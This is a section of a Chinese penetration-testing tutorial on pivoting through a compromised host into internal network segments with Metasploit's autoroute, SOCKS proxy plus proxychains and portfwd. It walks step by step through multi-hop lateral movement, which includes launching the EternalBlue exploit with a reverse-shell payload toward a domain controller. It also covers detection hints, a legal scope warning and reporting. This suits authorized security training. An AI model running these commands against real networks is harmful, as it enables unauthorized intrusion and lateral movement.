4.3 内网穿透与纵向移动


4.3 内网穿透与纵向移动

本节摘要:SOURCE 5.1:route addsocks_proxy、autoroute;通过 compromised 主机扫描内网新段。

动手:路由与 SOCKS

突破边界只是开始。边缘主机后面的内网(DMZ、业务网段、数据库区)往往不可直接路由——这才是真正的主战场。先建立一条通往内网的逻辑通道:

meterpreter > run autoroute -s 10.10.10.0/24 # [*] Adding a route to 10.10.10.0/255.255.255.0... # [+] Added route to 10.10.10.0/24 via 192.168.56.10 meterpreter > background use auxiliary/server/socks_proxy set SRVPORT 1080 run -j # [*] Started SOCKS proxy on 0.0.0.0:1080
# 另一终端:通过 SOCKS 代理扫描内网 proxychains nmap -sT -Pn -p445 10.10.10.5 # [proxychains] Dynamic chain ... 127.0.0.1:1080 ... 10.10.10.5:445 # 445/tcp open microsoft-ds

SOURCE:纵向移动是「以 session 为跳板」而非直连内网。autoroute 把 MSF 框架内的流量送进内网,socks 把外部工具也接上这条隧道。

动态路由:重塑网络拓扑

攻击者的主机访问内网 IP(如 10.10.10.5)时,默认网关无法路由——该网段不在本地局域网。autoroute 在 MSF 框架内部建立一张逻辑路由表:匹配到动态路由的流量,封装进 Meterpreter 通道发给跳板机,由跳板机以内网身份发出请求。

meterpreter > run autoroute # [*] Active routes # Subnet Netmask Gateway # ------ ------- ------- # 10.10.10.0 255.255.255.0 Session 1
# 手动添加/查看路由 meterpreter > run post/multi/manage/autoroute -s 10.10.10.0/24 meterpreter > route print # 列表显示 Session 网关 meterpreter > route del 10.10.10.0/24 # 删除路由

注意:autoroute 不写系统永久路由,只在 MSF 层生效。对内网目标而言,发起请求的 IP 是跳板机——源地址天然隐藏。

SOCKS 代理:全平台流量管道

动态路由只服务 MSF 内部流量,Nmap、sqlmap、浏览器等外部工具感知不到。SOCKS 代理解决"全平台运输"问题:

use auxiliary/server/socks_proxy set SRVPORT 1080 set VERSION 4a run -j
# proxychains 配置(示例:/etc/proxychains4.conf 末行) # socks4 127.0.0.1 1080 proxychains nmap -sT -Pn 10.10.10.0/24 proxychains curl http://10.10.10.5/

流量路径:本地工具 → SOCKS 1080 → MSF 查动态路由 → Meterpreter 隧道 → 跳板机 → 内网目标。多级网络就构建代理链:攻击者 → Web 跳板 → 应用跳板 → 数据库,层层接力。

端口转发:点对点直达

SOCKS 适合通用访问,但对 RDP/SMB 等敏感协议,portfwd 更稳定、痕迹更少:

meterpreter > portfwd add -L 127.0.0.1 -l 33890 -r 10.10.10.5 -p 3389 meterpreter > portfwd list # 0: tcp 127.0.0.1:33890 -> 10.10.10.5:3389
# 本地连接转发端口(示例:远程桌面) # rdesktop 127.0.0.1:33890

三件套选型

技术 用途 适用场景
autoroute MSF 内部流量路由 用 MSF 模块打内网
SOCKS 外部工具接入 Nmap/sqlmap/浏览器
portfwd 点对点服务转发 RDP/SMB/SSH 交互

实操上通常"混合策略":通用扫描与 Web 访问走 SOCKS,关键服务交互走 portfwd。

纵向移动:逐级深入

穿透内网后,第一步不是急着打,而是用代理链做信息收集:扫描新网段的 445、22、3389,识别可作为"二级跳板"的主机。拿到二级跳板权限后,在其 Meterpreter 里再加一条动态路由指向更深网段——循环往复,直至触及核心资产(如域控制器)。

# 二级跳板示意 meterpreter(Session 2,位于 10.10.10.5)> run autoroute -s 172.16.0.0/16 # 新增更深网段路由,网关指向 Session 2
# 每一跳都记录在案(报告素材) sessions -l -v # Via 字段显示每个会话的来源 exploit # 逐跳记录:入口点 → 跳板 1 → 跳板 2 → 核心资产

检测提示(给蓝队)

  • 异常内网扫描源为 workstation IP(正常不会从办公机发起大规模探测)
  • 新 SOCKS 出站 1080:监控非常规代理端口与长时间 TCP 会话
  • 双重 hop 的 SMB 登录:横向移动常伴随不寻常的 NTLM 登录事件
  • Meterpreter 通信心跳特征与隧道转发流量

⚠️ 法律:autoroute 仅授权网段;跨未授权边界违法。每一条路由、每一次内网探测,都必须落在授权范围文档内。

💡 关键直觉:内网移动 = 路由表 + 凭据 + 新 exploit 三件套。路由决定"能不能到",凭据决定"用什么身份到",exploit 决定"到了之后拿下什么"。

要点串联

  • autoroute 不写系统永久路由,MSF 层生效,route print 随时复查
  • socks + proxychains 复用外部工具,代理链可多层串联
  • portfwd 一对一转发,敏感协议交互更稳
  • 每跳 session 记录进报告,攻击路径全程可审计

多级跳板实例:一路打到核心

把三种技术组合起来,就是标准的纵向移动场景。以"Web 区 → 应用区 → 数据库区"三层隔离为例:

# 第 1 级:边缘 Web 机(192.168.56.10) meterpreter > run autoroute -s 10.10.10.0/24 meterpreter > background use auxiliary/server/socks_proxy set SRVPORT 1080 run -j # 外部工具经代理扫描应用区 # proxychains nmap -sT -Pn 10.10.10.0/24 # 发现 10.10.10.5 开放 445 # 第 2 级:拿下应用区主机 10.10.10.5(新 session 2) use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.10.5 set payload windows/meterpreter/reverse_tcp run # 获得 session 2 sessions -i 2 run autoroute -s 172.16.0.0/16 # 新增更深网段路由,网关指向 session 2
# 路由表叠加效果 Subnet Netmask Gateway 10.10.10.0 255.255.255.0 Session 1 172.16.0.0 255.255.0.0 Session 2

每一级都重复同一套动作:新增路由 → 扫描 → 拿新会话 → 再新增路由。直到核心资产(如域控 172.16.10.1)出现在可达范围内。

隧道绕过检测的对抗面

高频繁 SOCKS 代理流量、异常端口转发、Meterpreter 通信心跳,都可能触发企业流量检测设备。高级对抗开始使用 DNS 隧道、ICMP 隧道、HTTPS 伪装等隐蔽通道——但它们的本质仍是"路由 + 代理":

对抗演进(教学理解) 基础:TCP 反向连接 → 特征明显 进阶:HTTPS 伪装 → 混淆内容,行为仍可建模 前沿:DNS/ICMP 隧道 → 藏进看似正常的协议

防御者不必逐一对抗每种通道,而是抓住共性:异常内网探测来源、非常规端口外联、跳板机的双向流量不对称。本书只到"路由 + 代理 + 转发"三件套为止,足够覆盖绝大多数授权渗透场景。

常见故障速查

现象 原因 对策
路由加了但扫描无响应 会话断开/路由被清 route print 复核,sessions -l 确认存活
proxychains 报错 代理配置或版本不匹配 核对 socks_proxy 端口与 proxychains.conf
portfwd 连不上 内网目标端口未开 先经代理 nmap 确认端口
横向 exploit 无 session LHOST 回连路径不通 检查跳板是否可达监听器
# 快速自检三连 route print # 路由在吗 sessions -l # 会话活着吗 jobs -l # socks 代理在跑吗

报告记录:每一跳都留痕

纵向移动路径必须完整记录,这是工程化(5.1)的要求:

攻击路径记录模板 入口: 192.168.56.10 (exploit: ms17_010, 时间戳) 跳板1: 10.10.10.5 (exploit: ms17_010 via autoroute, 时间戳) 目标: 172.16.10.1 (域控, 计划后续动作) 每跳附带: session ID、来源模块、获取的凭证、loot 编号

有了逐跳记录,报告里的攻击路径图就有据可查,清理清单也能逐一对应。


作者与出处
原作者: 灏天文库
来源:灏天文库
整理: 灏天文库整理
由灏天文库平台收录,内容或由平台用户上传,仅供学习交流
发布者: 作者: 灏天文库 转发
评论区 (0)
U